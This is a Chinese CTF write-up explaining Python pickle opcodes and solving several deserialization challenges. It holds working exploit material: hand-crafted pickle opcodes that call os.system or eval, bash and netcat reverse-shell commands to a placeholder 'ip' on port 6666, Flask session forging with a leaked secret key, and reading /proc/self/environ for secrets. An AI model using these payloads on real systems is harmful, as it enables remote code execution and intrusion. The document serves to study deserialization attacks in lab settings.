pickle过程详细解读

  • pickle解析依靠Pickle Virtual Machine (PVM)进行。
  • PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
  • memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。
  • 为了便于理解,我把BH讲稿中的相关部分制成了动图,PVM解析 str 的过程动图:

img

  • PVM解析 __reduce__() 的过程动图:

img

手写opcode

  • 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
  • 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
  • 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。下文中,所有opcode为版本0的opcode。
opcode 描述 具体写法 栈上的变化 memo 上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

此外, TRUE 可以用 I 表示: b'I01\n'FALSE 也可以用 I 表示: b'I00\n' ,其他opcode可以在pickle库的源代码中找到。
由这些opcode我们可以得到一些需要注意的地方:

  • 编写opcode时要想象栈中的数据,以正确使用每种opcode。
  • 在理解时注意与python本身的操作对照(比如python列表的append对应aextend对应e;字典的update对应u)。
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。
  • sub操作符可以构造并赋值原来没有的属性、键值对。

比赛题目

[Python]Unpickle

https://github.com/vulhub/vulhub/blob/master/python/unpickle

vulhub的环境,无任何过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":
app.run()

构造opcode

1
2
3
4
5
'''cos
system
(S"pwd"
tR.
'''

由于题目回显只会取pickle.loads结果中的”username”,所以直接命令执行在这一步会报错,看不到回显,直接弹shell即可

image-20220720183850594

buy函数会通过id来判断买了哪一个商品,从session中读取当前状态,修改后再set-cookie,我们直接随便截取一个cookie进行解码看看

1
2
3
eyJtb25leSI6IDQ5LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIl19

{"money": 49, "history": ["Yummy chocolate chip cookie"]}

把money修改后,直接买flag

1
{"money": 900, "history": ["Yummy chocolate chip cookie", "flag{5b910f1a-5598-4482-80f4-a086bdffb003}\n"]}

[watevrCTF-2019]Pickle Store

buy函数和上一题一样,但是cookie并不是简单的base64,用loads方法解码看看

1
2
3
4
5
gAN9cQAoWAUAAABtb25leXEBTeoBWAcAAABoaXN0b3J5cQJdcQNYFQAAAFl1bW15IHN0YW5kYXJkIHBpY2tsZXEEYVgQAAAAYW50aV90YW1wZXJfaG1hY3EFWCAAAAAzNWUyYWM5ZmNlNDMzMTQ2MjAyZTlhMDNiMzE5N2Y3YXEGdS4=

..}q.(X....moneyq.Mê.X....historyq.]q.X....Yummy standard pickleq.aX....anti_tamper_hmacq.X ...35e2ac9fce433146202e9a03b3197f7aq.u.

{'money': 490, 'history': ['Yummy standard pickle'], 'anti_tamper_hmac': '35e2ac9fce433146202e9a03b3197f7a'}

由于本题有hmac验证,所以直接改money无法通过验证,但是本题的后端一定调用了loads,所以直接写opcode反弹shell即可

[CISCN2019 华北赛区 Day1 Web2]ikun

随便注册一个用户登陆后看看jwt,发现里面含有用户名,那我们可以尝试爆破

image-20220722210041035

用jwtcracker爆破出来密钥是1Kun,可以伪造admin的jwt,登录后查看提示,去购买lv6的会员,写脚本爆破lv6在180页,抓包改一改折扣就可以买下,得到/b1g_m4mber路径

注释中得到源码泄露地址/static/asd1f654e683wq/www.zip,下载后审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

找到/b1g_m4mber的控制器源码,存在pickle.loads()危险函数,且参数可控,没有过滤,直接构造opcode

1
2
3
4
opcode1=f'''c__builtin__
eval
(S"__import__('os').popen('{cmd}').read()"
tR.'''

image-20220723005954048

[HFCTF 2021 Final] easyflask

题目访问根路由提示/file?file=index.js访问后提示Here is a js file. Source at /app/source

继续访问/file?file=/app/source得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

在file路由中使用path = os.path.join('static', path)来把path和static进行拼接,而os.path.join函数中如果含有\开头的参数,将从\开头的参数开始,前面的参数均将失效,并且路径将从对应磁盘的根目录开始。

os.path.join(‘static’, ‘index.js’)读取的是static/index.js

os.path.join(‘static’, ‘/app/source’)读取的是/app/source

继续审计代码,发现admin路由中存在pickle.loads函数,这里应该是攻击点,结合根路由可知,session[‘u’]会被设置为User()序列化后的值,而在/admin路由中会取出u中的b,b64解码后进行反序列化,那我们就要在b这个位置写入b64后的opcode达到命令执行

本题由于需要伪造session,需要SECRET_KEY,而此处的源码并没有给出SECRET_KEY,当前程序的环境变量可以从/proc/self/environ获取, 修改file参数发现并没有对这个文件输出做限制, 直接得到SECRET_KEY

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=out
PYTHON_VERSION=3.8.2
PWD=/app
_=/usr/local/bin/python3
HOME=/root
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
FLAG=flag_not_here
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
PYTHON_PIP_VERSION=20.0.2
KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1
PYTHON_GET_PIP_SHA256=421ac1d44c0cf9730a088e337867d974b91bdce4ea2636099275071878cc189e
KUBERNETES_SERVICE_HOST=10.240.0.1
KUBERNETES_PORT=tcp://10.240.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d59197a3c169cef378a22428a3fa99d33e080a5d/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
OLDPWD=/app

拿到secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

可以手写opcode,也可以写个reduce再把User给序列化,此处一定要在linux下运行(python2和python3结果不同,但都可以打通),最后得到一串base64加密的opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# paylaod.py
import base64
import pickle
import os

User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
#'__reduce__': lambda o: (eval, ("__import__('os').popen('bash -i >& /dev/tcp/ip/6666 0>&1').read()" ,))
'__reduce__': lambda o: (os.system,("nc ip 6666 -e /bin/sh",))
})

op1=pickle.dumps(User())
op2=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/6666 0>&1'"
tR.'''
print(base64.b64encode(op2).decode())

然后利用工具伪造session

flask-unsign --sign --cookie "{'u':{'b':'$(python3 payload.py)'}}" --secret 'glzjin22948575858jfjfjufirijidjitg3uiiuuh'

或者

python3 flask_session_manager.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'$(python3 payload.py)'}}"

成功弹shell后直接拿flag

middle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# app.py
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64


app = Flask(__name__)


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)

1
2
3
4
5
6
7
8
9
10
11
# config/__init__.py
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")

题目直接放出源码,一道pickle反序列化题目,只能导入config模块,config种有一个后门函数可以eval,那我们就构造一下opcode直接反弹shell

1
2
3
4
5
6
7
8
9
10
import base64
import pickletools

opcode='''cconfig
backdoor
((S"__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ip/6666 0>&1\"').read()"
ltR.'''

pickletools.dis(opcode.encode())
print(base64.b64encode(opcode.encode()))

第一个mark用来和t生成元组,第二个mark用来和L生成列表,最后R执行即可